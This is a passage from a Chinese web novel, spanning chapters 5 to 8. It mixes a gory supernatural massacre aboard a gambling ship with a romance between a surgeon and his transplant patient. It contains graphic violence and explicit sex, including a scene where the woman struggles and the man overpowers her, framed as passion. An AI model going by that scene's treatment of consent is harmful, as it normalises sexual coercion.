男人一把推开陈昼:“狗日的孬种,这门肯定早就被他们锁死了,没准门后面还站着个红眼病。”
原本还在想办法撬门的几人听见这话手上动作放缓,再看大堂里倒在地上那些不停流血的尸体,不由得犹豫起来。
赌徒在赌桌上是亡命之徒,在赌桌下就成了没有人性的畜生。
陈昼转头看向窗边,眼前的一幕令他背脊僵硬。
原来已经有人试图反抗,只是他们选择的对象是看起来还算正常人的张蓝。
窗户边,张蓝墨色的西装被血浸湿不停往下滴血,他的面部被人用尖刀刺入可并未见到有血流出,反倒是攻击他的几人站在他面前保持着姿势一动不动。
男人脸上的刀不止一两把,几乎看不到脸部组织,他的脖颈被人用手紧紧掐住,那几人看着也像是练家子可绕是这样也没有伤到张蓝分毫。
站在窗边的张蓝扯出奇异的笑,缓缓抬起手把插在脸上的刀子拔出,又将身上的西装慢慢抻整齐。
西装上有血,可那血不是他的。
他和陈抱明显不是正常人,不,应该说,明显不是人。
陈昼握紧双拳喉结滚动,背后渗着冷汗。
血是从那群攻击他的赌徒身上喷出来的,他们死了,几乎只在几秒之间。<
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p>男人往大堂里陈抱的方向招了招手,“陈抱,不好意思,这里有几个人我已经下手了。”
这时大堂里还剩下不到一半人,各自躲在角落里不敢出声。
“藏好喽,可不要被我找到了。”女人俨然化身地狱里的恶魔,高跟鞋的声音此时成了催命符。
她侧眸看向窗边,蹙起眉头:“不是说好了这次你不准动手,又少了几个能玩的。”
“下次,下次一定,实在是每次这些人都往我这里跑,我也不好不接住了。”
站在门口的一群人现在看来是最显眼的,可奇怪的是那两个怪物都没急着往这边来。
陈昼想起还在船舱休息区的女人,心底发冷,要是休息区也出事了,她该怎么办。
远处跳舞的人还在持续着舞蹈动作,如果没猜错的话那些都是已经死了的人。
这艘船,称之为地狱也不为过。
等一下,他记得,陈抱说过这里是战场遗骸。
究竟是什么意思。
从死人到现在只过去了不到十分钟,还活着的人却只剩下不到一半,再这样下去他们迟早也会死在这里。
“不是孬种的跟我走,老子今天干死这个臭娘们儿。”
大汉冲着他们喊话,战战兢兢的几个人在犹豫之后还是点了点头,毕竟待在这里还是等死。
没等他们行动,原本背对着门的陈抱忽然转过身,立马吓退了还没开始行动的几人。
女人本就通红的眼球缓缓往下流血,脸颊的血被她轻轻擦去,她将手指放在唇边做出噤声的动作,开口说话依旧温柔:“嘘,待会儿再来跟你们玩。”
随后转过身环视了一圈大堂里的每个角落,嗓音柔缓沉笑。
“三、二、一,时间到,我来找你们喽。”
女人脚步轻缓,整个大堂里只有高跟鞋踩在地板上的声音在回荡。
“虐杀开始。”
一滴血从女人眼里滴下,混在跳舞人群中的男人血管突然爆裂鲜血溅出,“啪啪啪”,紧接着是身体里器官爆开的声音,五官也因为器官的挤压变得扭曲,一颗眼珠从眼眶掉落,被一旁随着音乐律动重复跳舞的机械人踩爆。
陈昼想到什么,转头往楼梯处看去。
果然,楼梯处堆着几具尸体,鲜血汇成了细流在地上缓慢流淌。
楼梯处不知有什么东西只要一靠近便会进行绞杀,直至血肉模糊。
大堂的柜子咚咚响个不停,颤抖中一行清水从里面流出,陈抱注意到抖动的柜子,慢慢靠近,见到地上的一滩水忍不住笑:“这位小哥,你暴露了哦。”
女人捂着鼻嫌弃地皱了皱眉:“真脏,怎么吓到失禁了呢。”
随后,一阵掌声啪啪响起,陈抱站在柜子前动作优雅,眼中鲜血滴落。
柜子一时间抖动得更厉害,滚烫的血涌出,柜里的惨叫声响起,活活成了一个绞肉机。
和陈昼一起站在门口的人见此情形脚下一软摔在地上,撑着地开始干呕。
柜门被打开,里面只剩了一滩烂肉。
女人叹了口气,摇摇头,“没意思。”
陈抱淡淡瞥了一眼,转身朝门口处的陈昼走来,红唇勾起笑,指尖一声响指,身后大堂里剩下的人应声爆炸,头颅飞起,“咚咚咚”落在地上,整个大堂犹如屠宰场,鲜血遍布,腥气冲鼻。
“小先生,你不藏好吗?”陈抱缓缓走过来,擦拭着脸上的血迹,慢步优雅。
“你不会杀我。”
一群人见这女人来了找不到躲的地方,都往陈昼背后缩。
“为什么?”
陈抱始终保持着笑。
“因为我赢了你,赌约既成,不可更改,你要是杀了我,该怎么向你们先生交代。”
女人原本带着笑的脸瞬间沉下,阴戾冷冽,“你算个什么东西,也配提起先生。”
一直站在窗边的张蓝也走了过来,目光狰狞,“你只是不能死在我们手里,不过你的死期也快不远了。”
陈抱侧眸睨了眼,旁边的人随即噤声。
“闭嘴。”
“你们到底是谁?”陈昼身后躲着一群哆哆嗦嗦的赌徒,他此刻面色发冷,站在两人面前不见惧意,反倒有种与之相反的气场。
“如果真要说起来,我们算是赌坊伙计。”
陈昼顿了一秒:“也就是说这艘船是个赌场,你们是这个赌场里的伙计,那你们老板呢,我赢了你们,有资格见他吗?”
女人摇了摇手指,“那可不行,你也看见了整个赌场这么大,怎么会只有我们两个伙计。”她拍起两只手,好似期待,又露出了那副兴致冲冲的表情,“接下来的游戏需要小先生找出赌场上其他的伙计,然后依次和他们进行下一场赌局,如果我们几个人都输了你就能下船了。”
“那,那我们呢。”
陈昼身后竟有个不怕死的冒出头来问,他看这女人现在还没动手,在陈昼面前一副有商有量的样子,兴许活命的机会来了。
“哦,对了,还有你们。”
女人嘴唇轻动:“去死吧。”
5. 关于他们
船舱的浴室里响起水流声,玻璃门上水汽弥漫,满地血红流淌,灼热的腥气充斥着鼻翼,男人站在花洒下眼眸阴鸷握紧双拳,大堂里血肉飞溅的一幕犹在眼前。
船继续在大海里航行,到了下一个港口还会有新的乘客上船,届时下一轮屠杀就会开始。
离开大堂后陈昼脚步不停直奔休息区确认那间房里的人没事,听到屋里传出来的声音脑中紧绷的弦终于卸下,他泄气般地倒在门边。
“陈昼,是你吗?”
房间里响起脚步声,唯恐这副模样吓到她,陈昼不发一言狼狈地撑起身头也不回离开了门外。
那两个怪物根本不用动手就能杀死一个大堂的人,而这船上不止这两人是怪物。
他们的同伙究竟还有几个人。
战场遗骸,是什么意思。
先生,又是谁。
只能在下一次停船的时候找机会逃出去,就算不能逃出去也一定要把林湫暮送下船。
她没有参与赌局,她还有机会。
一想到林湫暮,陈昼紧握的手开始颤抖,如果没有一意孤行把船票给她,就不会和他一起身处险境。
一场虐杀后整艘船都沉寂下来,仿佛一艘死船。
天色逐渐暗沉,昨晚的那场雨接踵而至,海浪汹涌暴雨袭来大船在惊雷中摇摇晃晃。
他想见林湫暮,心中那股不安愈发浓烈,一定要见到林湫暮。
“轰”,船外雷声巨大,海面上狂风暴雨船在海上剧烈摇晃。
“湫暮...”陈昼浑身寒气四起口中呢喃着女人的名字。
走廊外,船身摇晃中男人稳住身形步伐急促。
这艘船不知道会把他们带到哪去,停在下一个港口时一定要带她逃出去。
夜里,门被男人猛地推开,地上还残留着刚才倒在门边的血迹。
“湫暮。”
陈昼站在门口,口中轻喊女人的名字。
今夜的暴雨不禁让人想到昨夜逃离庄园时,又冷又急。
船舱的窗户被一阵风吹开,雨水伴着狂风卷入,女人站在窗边回过头来,她口中含着点燃的烟,烟雾缓缓吐出,窗外汹涌澎湃烟雾在她眼前升起,风雨吹灭了烟蒂上最后一点火星。
见到门口的人她显然一楞,唇角情不自禁勾起笑意。
“你回来了。”她站在暴雨卷入的窗边,笑声轻捻地问他。
陈昼大步上前将她拥入怀里,硬实的肩臂将女人箍在胸膛间心底的不安泛滥汹涌,男人用力吮吸林湫暮身上熟悉的气息以求平息那股狂躁不安。
“湫暮,我会保护好你,我一定会带你走。”
林湫暮察觉出他的异样双手环过男人腰间,眼波柔软:“陈昼,你已经带我走了。”
身后男人的眸子紧闭没有说出刚才发生的事。
船在海浪中摇摇晃晃,林湫暮圈在男人身上的双手轻轻摩挲撩起衣角探入一寸寸抚摸,指尖下的肌肤粗粝滚烫她侧过头呼吸喷洒在男人颈窝。
“陈昼。”
男人下颌线紧绷,原本溢满胸膛的不安逐渐转化为浓厚的欲望,蠢蠢欲动。
随着女人撩拨轻抚,性感的闷哼声从齿间溢出。
陈昼一把抓住游移在身上的手,再对上那双魅人的眼时他眼底早已堆满了欲色。
林湫暮指尖冰凉停留在起伏的胸膛上,男人腹肌层层凸起健硕精瘦的身体紧贴着她,陈昼感受着身下那具摇曳柔软的身体喉结滚动,呼吸急促。
“陈昼,我们今晚”
林湫暮抬头望向男人,秋水含情的双眸霎时点燃了一把熊熊烈火,她的唇瓣轻启声音柔缓,在夜里沉醉迷人。
耳畔发热,陈昼抱着怀里的人俯身吻住,她的唇带着湿润凉意沁人心脾,亲吻如暴雨般落下,窗外的雨势猛烈,屋里荷尔蒙气息蔓延猛烈狂热,陈昼吻得很凶暴出青筋的手臂将女人箍在怀中像要把人揉进身体。
喘息声在房间里交织缠绵,男人一把扯下女人身上的布料滚烫的大掌摩挲抚摸,每次触碰都将两人间的情欲气氛加深,昏黄的灯光下高大健壮的胴体将女人压在身下缓缓放到床上,那吻星星点点却又带着一股凶狠。
间隙间,林湫暮轻叹一声寻着机会出声:“陈昼,我”
压在身上的男人气息滚烫含住她的唇,手指扣在她下巴处撬开唇关接着便是肆虐地深入侵略,他们亲密地相拥相吻,此刻,便是世上最密不可分的人。
陈昼沉着呼吸抵住她的额头亲了亲她的鼻尖,开口沙哑道:“怎么了?”
海上颠簸得厉害,他眼里急促不安,望向她时尽量牵着一抹笑。
今晚的陈昼很不对劲,这从他进房间开始林湫暮就察觉到了。
于是她摇了摇头环过男人的脖颈:“我想要你。”
昏暗中让人沉迷痴醉,寸缕未着的两具身体紧密相拥,她只单单几个字便能让陈昼脑中尚存的理智变得混乱,沉重的呼吸喷洒,他按住女人低下头在她锁骨上留下咬痕,埋在她怀里低沉出声:“好。”
话落,男人肆无忌惮地与她交缠沉沦,光线下映出影影绰绰交叠起伏的两人,海上暴雨倾泻电光雷鸣,雨水落在窗户上倒映出一室旖旎缱绻。
“湫暮,我发誓一定一辈子对你好。”
“嗯...”
女人眼眸魅人带着成熟醉人的韵味,她抬手勾下男人的脖颈对视上陈昼的黑眸,勾起唇角轻笑。
“湫暮...”陈昼低下头轻吻起来,温柔摩挲。
屋里只有一盏桌上的小灯亮着,满室荒唐混乱地上都是随意扔落的衣服,激情后屋里每个角落都弥漫着缠绵的气息,旖旎不堪。
林湫暮坐在床边将窗户推开一条细缝感受到窗外冰凉的风雨,发丝凌乱下的眼尾魅惑艳极,身后的男人一点点亲吻,动作温柔虔诚。
火机在灯光下点燃,她偏头凑近陈
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昼手上的火机,两人含在唇边的烟缓缓升起烟雾,看不清神情。
一股寒风猛地把窗边的细缝吹开,吹散了一室温情,林湫暮掐灭了手中没抽几口的烟起身往浴室走去。
床边陈昼眼神打量,晦暗深沉。
浴室里的水声响起,陈昼低着头抽完一支烟侧眸看向玻璃门,女人赤裸姣好的身体线条朦胧模糊,男人眼中又有被点燃的迹象,他抬手关了窗户往浴室走去。
温热的水打湿头发顺着凹凸有致的线条缓缓流下,林湫暮站在花洒下紧闭的双眼有一滴清泪落下,热气氤氲玻璃门被轻轻打开,滚烫的男性气息从身后靠近,他俯身在她耳边低语呢喃:“湫暮,别哭。”
浴室的热水与男人身上火热的温度让她感到不适,林湫暮挣扎着轻唤了一声,身后的人却将她拥得更紧了。
陈昼垂头在她颈窝低声耳语:“你掉眼泪我就心疼,我情愿你怪我。”
交颈耳语间两人相贴的身体潮湿灼热,男人急促的呼吸喷洒在林湫暮耳边,她一把抓住环在腰间的手,眼里还有未干的泪痕。
“我要你说,我们没有错,我爱上你没有错。”
交织缠绵中,女人身后抵着他宽厚滚烫的胸膛,耳边的声音坚定沉重,像一个信徒宣誓抵在她耳畔诉说。
“我们的相爱没有错,就算是上帝也要祝福我们。”
热浪一波波袭来,她闭上眼倒在他怀里,“就算是上帝也会祝福我们。”
朦胧夜色,浴室里激情旖旎翻起层层浪潮,到了最后陈昼有些分不清究竟是幻境还是现实,越是深入满足,心中不安便被释放抚平,脑子里昏沉的醉意涌上唤醒了最原始的欲望,他一把抱起怀里的人走出浴室,床上的被褥还没来得及换,林湫暮被一双结实的臂膀扔到床上,恍惚中床边男人强劲宽厚的身体猛然压上来。
“陈昼。”
男人犹如铜墙铁壁将她禁锢在怀里,他眼神迷离望着身下的女人有片刻迟疑,随后便不管不顾埋下头索吻。
陈昼抓过林湫暮的双手压在头顶十指紧扣,心底的欲望如潮般汹涌,一靠近林湫暮便不受控制地想靠近、再靠近。
她的心脏跟着抽动,察觉到眼前的人忽然不对劲,林湫暮想要开口却被男人发狠吻住根本没有丝毫反抗的余地,身下的挣扎对于陈昼来说如同蜻蜓点水。
持续到下半夜时,林湫暮目光倦怠散漫微微仰着下巴,床上男人喘息声急促粗暴,她懒懒地把手搭在他肩头任他予取予求。
一夜荒唐。
夜里摇摇晃晃的船舱在风雨中云雨翻涌,抵死缠绵。
眷恋缠绵的激情褪去后,陈昼抱着怀里熟睡的人逐渐恢复理智,想起刚才失控的一切令他感到后怕。
陈昼垂眸望向林湫暮眼中满是心疼,忽然想起什么,昏暗中,男人目光警惕撩起眼皮,是那杯酒。
如果没猜错,陈抱的酒会唤起人心底最深处的欲望。
6. 关于他们
海浪上船身摇晃激起层层浪花拍打撕扯,闪电划过,船舱内温情旖旎,一室激荡。
夜色正浓,交缠的气息中藏了无数隐言。
他闷哼一声眼底充血嗓间溢出疯狂的低吼,床上的女人眼角泛着泪花。
“陈昼,你...”
那股极致的浪潮攀向高峰冲破了脑中最后的理智。
最后一刻电闪雷鸣间,林湫暮看着眼前的人有些恍惚。
“医生…你现在可一点都不温柔了。”
房里的激荡还在持续,风浪汹涌地贯穿浪潮,与船舱外的波涛翻涌相交相融。
海面被夜晚的黑暗笼罩看不清方向,雷声始终没有停歇,海天交映处死寂一般感觉不到丝毫生气,像是片很久以前就屠戮殆尽的无人之境。
飞机飞过夜色深空,划破黑暗。
林湫暮想过很多种可能,最终还是平静地接受了这个事实,她望向窗外,地面上的璀璨灯光慢慢远离,那个男人也离她越来越远。
几个小时前的机场,男人幽潭般的黑眸中映着他的妻子,他拥过妻子语调温柔:“我已经安排好了一切,好好养病,回来的时候我还在这里等你。”
丈夫的眼中满是柔情望着她嘱咐道,动作体贴从容挑不出一丝不妥。
“好。”她扬起唇角努力扯出笑,原本鲜艳的红唇惨白无色,林湫暮此时的身体已经不足以支撑在外太长时间,可还是想听最后一刻男人会对她说什么。
人来人往,他抚摸着林湫暮苍白的脸:“快去吧。”
她听到了,点了点头,转身离开。
温柔得体的丈夫,美丽内敛的妻子,天作之合。
一滴眼泪从眼角滑落,飞机上林湫暮收回眼,心中一片迷茫空洞,他们有过值得留恋的回忆顺理成章的婚姻,他们曾无数次并肩站在一起,旁人只看一眼便说是天作之合。
飞机落地后,林湫暮在异国他乡的人群里站了很久,她想不出该怎样在这样一个地方独自接受手术、养病、康复直至再回到她的丈夫身边。
凌晨机场旅客往来过往,林湫暮独自站在机场中并不显眼,陈昼刚下飞机拿着手机匆忙往外走,抬头见到不远处站着一个本国人不免多看了一眼,那女人双眼无神呆呆地站在那儿一动不动。
电话里的声音传来,“陈昼,我决定不动手术了。”
说完,陈昼心脏猛地停顿拿着手机的手猝然抖了一下,“老师,你在说什么?”
刚才站在前面的女人忽然转过身与慌神的陈昼撞在了一起,“啪”,手机被撞到地上,听筒里还有老师的声音,他慌乱捡起手机看到女人也被撞倒在地上。
这人莫非是纸糊的不成,轻轻一撞就倒了。
陈昼上前想要把人扶起来,“你没事吧。”
谁知他刚上前伸出手就被别开,地上的女人脸色苍白眼都没抬一下就自顾站起身朝身后离开了。
“医院给你安排了另一台手术,你好好做,我要跟你说的是,千万不能因为我就对患者有怨言,你是一个医生,救死扶伤是你的责任。”
他拿着手机怔愣在原地,那些没说出口的话都被老师堵回去了,张了张口却不知道该说什么。
机场门口这时进来一群人朝着女人的方向走去,其中一个人上前扶住女人,他们围在女人身边随后又浩浩荡荡地离开了机场。
“到底发生了什么?”
他面色冰冷,攥着手机想知道最后的回复。
“陈昼,这些事都与你做这场手术无关,你只管全力以赴把手术做完。”
“我这次回来是为了给老师做这场手术。”
“现在不用你做了,我的身体我做主。”
“为什么?”
“因为只有你才能完成这场手术,这很重要!”
“老师!”
电话被挂断,他眼中攒着愤怒,夜晚的凉风吹动额头的发丝显得凌乱失落。
老师的身体已经病入膏肓,本以为无望,就在前几个月终于等来了合适的器官捐献,陈昼立马动身回了Y国,并且这次老师点名让他来做手术,这对陈昼来说意义非凡。
他甚至想过老师慢慢康复,有一天跟他谈论起这次从死神手里逃出,满是骄傲地说多亏了他这位学生。
可刚落地,就听到老师说这场手术取消。
不做手术就意味着老师的生命最多只剩几个月。
原本要给老师的心脏给了另一个人,原本要给老师做手术的他现在也被安排给了另一个人。
机场的下半夜寒冷冰凉,陈昼盯着外面的某一处黑暗冷静漠然。
时间到了。
白炽灯将病床前的人投射在墙上,手术室里充斥着消毒水的味道浓烈刺鼻,仪器的滴答声在一片安静中持续不断。
手术台前陈昼一身手术服,手上正拿着手术工具开始缝合,冷白的光晕环绕,病床上的人闭着眼躺在那里。
“镊子。”
身后的医生将工具递到他手上,手术室里的灯光将床上的女人照得惨白无色。
“手术刀。”
......
这场手术所有人都提着胆子不敢放松,唯独陈昼是整个过程中最冷静的人,这原本是场难度和风险都极高的手术,而这次接受手术的人身份特殊,还好最后手术进行得很顺利,这让所有人都放下心来。
他淡淡看了一眼病床上的女人,随后转身走出手术室。
手术没有任何意外甚至可以称得上完美,陈昼心里没有任何波澜,手术室外面早已经等着一群人,那些人看起来不像亲属或朋友更像是执行任务,看到医生走出手术室上前询问清楚情况然后立马拿出手机向电话那边的人汇报。
走廊上的时钟显示已经是凌晨十一点五十分,做完手术陈昼满脸疲惫回到更衣室闭目养神,眼前浮现出病床上女人的模样,渐渐和记忆中一抹背影重合,直到一阵电话铃声响起。
陈昼睁开眼,眼底被一片冰凉覆盖。
“陈昼,你老师他,刚刚已经走了。”
凌晨的
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丧钟敲响,时间正好停在零点整。
时钟一秒一秒走动,他抬头看向那钟,心底竟默默祈祷时间能倒流回去,那是他的老师,是他在异国他乡最后的亲人。
或许医院的走廊回荡着比教堂更多的祈祷,可神似乎只听忏悔。
陈昼靠坐在医院的走廊上,一闭眼脑中就会出现那个女人躺在手术台上苍白安静的脸,她静静地躺在那里,任凭他把心脏取出来替她换上另一颗心脏。
而老师放弃了活下去的机会。
冷白的走廊灯下倒映出被拉长的人影,他眼中憔悴死寂,一潭死水般坐了一夜。
圣经中说:“我要赐给你们一个新心,将新灵放在你们里面。”
“每一个信徒,都能在他的信仰中找到平静与慰藉。”
我们在黑夜中相遇,以心脏为献祭,便从那一刻起有了忠于灵魂的信仰。
她看见黑夜的尽头有光,那是她唯一能企及的光,于是长途跋涉孤身前行,终于,她赌赢了。
林湫暮醒来时只隐约看见床头站着一个身着白衣的影子,窗外透进来的光刺眼,那影子为她遮去了大半的光她才勉强能把眼睁开。
“你醒了。”病床前的声音平淡冷漠。
直到她完全适应了房间的光线才看清楚站在床头穿着白大褂的医生,林湫暮脑中一片空白,她盯着人看了很久,病房里一片寂静。
房门被打开,是安排来照顾她的人到了。
林湫暮淡淡移开眼把头转到一边,看到许多瓶药放在床头。
医生正在和进来的人讲话,都是些术后注意事项和检查,又拿起床头的药说起用量。
不知说到哪里时她笑了声,刚手术后的身体异常虚弱,醒来没多久又想睡了。
医生再次转过身时病床上的人已经睡着了,他瞥了一眼没再说什么走出了病房。
手术后林湫暮很少出去,病房里她独自坐在床上有时会拿着画本涂涂画画,除了画笔摩挲在画纸上的声音外一片寂静。
她不怎么画人,多是画一些异国他乡的街道景色。
画纸上的笔突然停顿住,她想起自己已经好久没去想那个人了。
今天的桌子上摆着一束玫瑰,窗外的阳光照射进来,她笑了起来走过去拿起花凑近鼻尖闻,浓郁的花香萦绕,很久没有看到玫瑰花了。
病房门毫无征兆地被推开,林湫暮转过头去手上的花枝滑落,茎刺划破手肘顺着手腕处一路刺破,鲜红的血一瞬间沿着手往下流,远远看起来血红一片。
“你在干什么。”
门口的人脸色阴沉,平日里的冰冷更是降到极点。
她站在窗前没有动,手上的伤也像是没感觉到,盯着陈昼看了一会儿才把手上沾血的玫瑰随手扔到桌上。
“林小姐,我不希望手术后因为这种事影响到你的恢复。”
男人语气严肃抬起林湫暮的手肘检查起伤口,她看着眼前的人忽然笑了,表情轻松惬意,自从到了Y国这是林湫暮第一次笑得这样舒心。
7. 关于他们
“医生,我们是不是在哪里见过?”
正在低头检查伤口的陈昼抬头对上女人噙着笑意的眼,他倏地转过身去收拾桌上的东西,背脊挺直一脸严肃地说:“跟我去包扎伤口,下午还有个检查。”
他说完头也不回地离开了病房,背后那道打趣的目光让他紧绷拘束。
关上房门时透过缝隙陈昼望见那女人的笑,连忙扯过门。
什么年代了,还用这种方式打招呼,平时一本正经的医生走在走廊上心中腹诽。
病房里恢复安静,林湫暮含笑的眼慢慢冷下来,手肘上的血已经被止住可口子划得实在大了些,还有血在往外渗。
她瞥过一眼被随手扔在一边败落的玫瑰,俯身执起花枝慢慢在手上划过,刚刚没处理完的伤口再次被划破,血顺着手腕流下,殷红一片。
窗外的树枝摇曳,枯黄的叶子摇摇晃晃落到窗台前,她手中握着玫瑰花枝在身前拉长闭上一只眼细细观察,一滴血从花刺上滴下,她缓缓露出笑意。
医院的房间里,男人俯身蹲在女人面前正埋头处理伤口,陈昼手上沾满了血脸色阴沉,反倒是受伤的人坐在椅子上低头看着医生神情悠闲,林湫暮轻蹙起眉头说:“医生,你刚才没把伤口处理好就走了,你看,现在伤口更严重了。”
眼前原本一指长的伤口延长到了两指,他埋着头仔细消毒包扎,没有出声。
房间里很安静,纱布稀稀窣窣地包扎起来。
林湫暮微微低头,看着身前埋头不语的人,唇角笑意愈发明显,她好像很喜欢和这个医生说话,尽管医生不怎么搭理她。
看了许久,她问:“医生,我们是不是见过?”
再次问起这个问题,她眼中闪过暗光,倒不是故意问起,每次和这个医生单独相处,她总会自然而然想起这句话。
最后一步包扎完,陈昼站起身睨着坐在椅子上的女人,出口冷淡:“没有。”
没有多余的话医生转过身去洗手,后面的人思考起他刚才说的话。
“这样啊,医生,你的记性可真差。”
林湫暮看着那道白色身影,红唇微动,脑中片段慢慢重叠,“机场。”
洗手台前原本挺直的背影蓦地僵硬。
原来,是这样吗。
医院的长廊人来人往却并不吵闹,每个人的脸上都带着疲惫,陈昼走进病房时忽然想起那个女人的笑。
林湫暮坐在病床上,被白布包扎的手臃肿笨重,她拿着画笔在画纸上沙沙的声音很轻,专注在画上的眼里流露出满意,看起来心情不错。
今天上午医生要来检查伤口,她想到男人痴楞呆傻的模样嘴角不经勾起来。
房门被推开,她没有抬头还是接着把手上的画画完,门口的脚步声走近了,男人一如既往的冷沉:“今天该换药了。”
高大的身影垂落在画纸上,她抬起头望向陈昼漾着笑:“我一直在等你啊,医生。”
床上的病人是个很遵遗嘱的人,看到医生来了立马就放下手上的东西把手递到医生面前。
他唇角微动,看着眼前又白又胖的一只手,“去沙发上坐着,我给你换药。”
“好啊。”林湫暮放下画板随手丢在床上,画纸上的人被医生看到,他愣了一秒才移开眼。
女人坐到沙发上,陈昼蹲下身来拆开她手上的纱布。
病房里平时很静,除了医生和照顾她的人就没人会来了,林湫暮看着陈昼经常会有一种新鲜感,就像被困在笼子里的鸟有一天惊奇地发现竟然会有另一只鸟愿意时常飞到她的笼前来。
“我画得好看吗?”
身前低着头的人没有反应继续换药,拿过纱布一圈圈重新缠绕。
见没有回应,林湫暮也不在意继续说:“我觉得医生你,”
男人抬起头对视上她充满兴味的眼神,冷静沉默。
她唇角轻动:“长得真好看,所以我就画了一幅画,你还喜欢吗。”
她不像是问,只是在陈述。
“没有经过允许擅自侵犯他人肖像,我不认为这是一件值得拿出来分享的好事。”
窗边,男人穿着医生服蹲在林湫暮身前与她对视,那双漆黑的眸中看不到半点波澜,反倒是女人被他这副严肃凌厉的模样逗笑。
“可我想把这幅画送给医生。”
“我不想要。”
“你得收下。”
“为什么?”
她眉眼淡淡,凝着面前的医生:“医生给照顾我的那位小姐说错了用药剂量,过了这么久我才想起来这件事,医生,你是故意的还是不小心呢。”
病房里陷入一阵死寂,窗外有小雨淅淅沥沥下起来,湿润的凉风吹进来。
陈昼默默起身收拾东西,低垂的眼看不出一丝情绪。
身后坐在沙发上的人起身走到床边拿起那幅画,“这是我送给医生的第一份礼物,我很喜欢。”
这话听着哪里不对。
陈昼皱起眉看着递过来的画纸,画上的人带着口罩一身手术防护服几乎看不出是谁,而病床上的女人安静地躺在那里闭着眼,打开的胸腔处滴着血的心脏被医生戴着手套的手取出握在手中,而整个手术室只有站在床前的医生和躺在病床上紧闭双眼的女人。
他接过,将画攥在手上没看一眼便离开了病房。
房门关上,林湫暮眼里的笑意褪去,手指摩挲着刚才包扎好的纱布。
外面下着小雨,这个季节枯树下一地的落叶,她站在窗前看着楼下来来往往,在看到某一个背影时眼中闪过玩味。
见惯了男人穿医生服的样子现下换了一身日常装倒是别有感觉。
满地枯黄,小雨在地上堆起了水洼,陈昼脚下踩过雨水撑伞大步离开。
他的生活规律平常,每天这个时候林湫暮都会在窗前看着那抹熟悉的背影离开,不过今天好像出了点意外。
路边一个女人手上提满了东西脚下步伐急促,走到树下时摔了个大跟斗,看着生疼,手上东西洒了一地。
林湫暮垂眸摇了摇头,轻声叹息。
不过她看到医生在那个女人面前停下了,黑伞下摔在地上的女人被遮去,男人伸出手将她拉起来,一片枯叶落在黑伞上,楼下过来攘往伞下的人站在树下美得像是一幅画。
她想起医生接过那幅画时的不悦,叹了口气转身回到病房里。
医生可真是个好心人,林湫暮感慨自己好像已经很久没有遇到过这样的好心人了。
她记起落地Y国的那个夜晚失重迷惘,陈昼匆匆忙忙擦身走过,直到摔倒时她才逐渐有了实感,男人站在她面前皱着眉要拉起她。
现在已经是深秋,带着凉意的风吹动耳边的碎发,病房的门被打开,她轻瞥一眼,被拉远的思绪逐渐回拢。
“林小姐,我刚才在下面出了点意外带过来的晚饭洒了,不过我已经让人帮忙再去带一份过来了,您今晚可能要将就一顿。”女人低着头满身的污水还没来得及处理,此时脸上满是歉意。
林湫暮坐在病床边拿起药瓶把玩看起来并没怎么在意,“可惜了,营养师做的餐食每一顿都是计量好的。”
“对不起林小姐,我下次一定注意,还有一件事。”那人抬眸看向林湫暮,“先生来电说明天会落地Y国,顺便来医院看您。”
闻言,她脸色微变嘴角随机勾起一抹自嘲的笑,顺便...
“刚才先生来电说您的电话没人接,他说想要和您说
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几句话,我急着赶过来,没想到走得太急把饭撒了。”女人是个做事利索的人,平时的日常起居都处理得井井有条,今天却显露出几丝慌乱。
她听到后低下头看向放在枕下静音的手机,“刚才没注意,是有一个未接来电。”
助理看到林湫暮手上拿着手机滑动想来是要回电话,心领神会道:“那我先出去了,林小姐。”
说完立刻转身出了病房,整个过程麻利干练,只是满身的泥污看起来有些维和。
屏幕上显示一个未接来电,直到再次暗下来她也没再打开。
病房里有枯树被吹动的声音,她想到一件有趣的事,黯淡的眼角开始上扬起来。
林湫暮到Y国的一周后就开始准备手术事宜,一切如男人所说,他都安排好了,手术很成功甚至在场的医生说起手术过程也都称赞简直完美。
过了这么久,那个男人终于打来问候的电话,难得的是他挑了一个林湫暮在检查室复检的时间打来电话,是不是代表他也在她的事情上动了心思。
手机里再也没有第二个电话打来,她坐在桌前望向病房门口的方向。
按理说照顾林湫暮的人会亲自确认她在饭点的时间吃过饭后再离开,今天却因为一通电话乱了手脚。
天边只剩晚霞的余韵时病房门被打开,陈昼拿着手上买来的晚餐匆匆赶来,他看到桌前女人被晚霞映照过的侧脸,温柔中带着呆滞迷茫。
听到动静林湫暮转过头看到是他回来了,眼角泛起笑,“医生,我等你好久了。”
陈昼垂下眼走过去唇角轻抿,说:“抱歉,来得晚了些。”
桌前,他把手里拿回来的餐盒打开,看起来还算丰盛,林湫暮眼中闪烁起细微的光,“这段时间一直吃营养师搭配的食物,总算能吃到些新鲜的东西了。”
他拧起眉微微点头准备离开,刚才在楼下被林湫暮身边的人拜托去买晚饭时陈昼想也没想就拒绝了,直到女人搬出院长他才不得已答应下来。
自从给林湫暮动手术起他就知道这女人的背景不简单,医院给她的一切安排都超出了一个普通病人的待遇。
陈昼不是个拖沓的人,却在路上故意耽误了一些时间,甚至还磨磨蹭蹭吃了顿晚饭才慢悠悠把餐食带回来。
“等一下,医生。”身后的人将他的思绪打断,准备离开的脚步也停住转过身来面向她。
“怎么了?”
林湫暮举起自己被纱布缠绕的手,笑眸微眯,“我一个人吃不了饭,能不能麻烦你喂我。”
女人说完,陈昼明显蹙起眉头露出不悦,平常一向态度冷淡的医生难得见到这样子。
她眼角的弧度弯起面对着医生,仿佛真的只是一个寻求帮助的病人。
“医生?”
男人心头涌上无数话最终只能化为叹息脊梁紧绷着走过去。
桌前,他迟钝地端起碗舀起一勺饭,然后手脚生疏将勺子递到女人嘴边。
“医生。”
“医生?”
林湫暮的声音传到耳中他皱着眉低头看向坐在桌边等他喂饭的人,原本应该喂到嘴边的勺子被递到了鼻尖,这画面看起来有些滑稽,尽管这样林湫暮还是一脸笑意望着眼前的医生。
陈昼目光闪烁,喉间一紧尴尬地把手中的勺子往下移,态度比起刚才缓和了些:“吃吧。”
她掀起眼帘看到男人泛红的脖颈,随后张开口凝着笑意吃起饭来。
“医生?”
勺子空了,陈昼低着眉重新舀起一勺递到她面前动作僵硬。
病房的门忽然被推开,已经回去收拾好衣服的助理站在门口望着桌前的两人愣住。
林湫暮侧眸看去,唇边扬起一抹笑。
8. 关于他们
灵堂贡台前香火缭绕,一片寂静,年过半旬的女人站在灵位旁眉眼中满是憔悴,教授去世后异国他乡就只剩她一个人了。
男人一身深色大衣,门外的风吹动短发,他手中捻着一柱香俯身祭拜,眼前烟雾缭绕看不清眼底的深邃。
陈昼上前在贡台中央插上香柱转身走到老妇人身边,“师母,您一定保重身体,天气冷注意别着凉。”
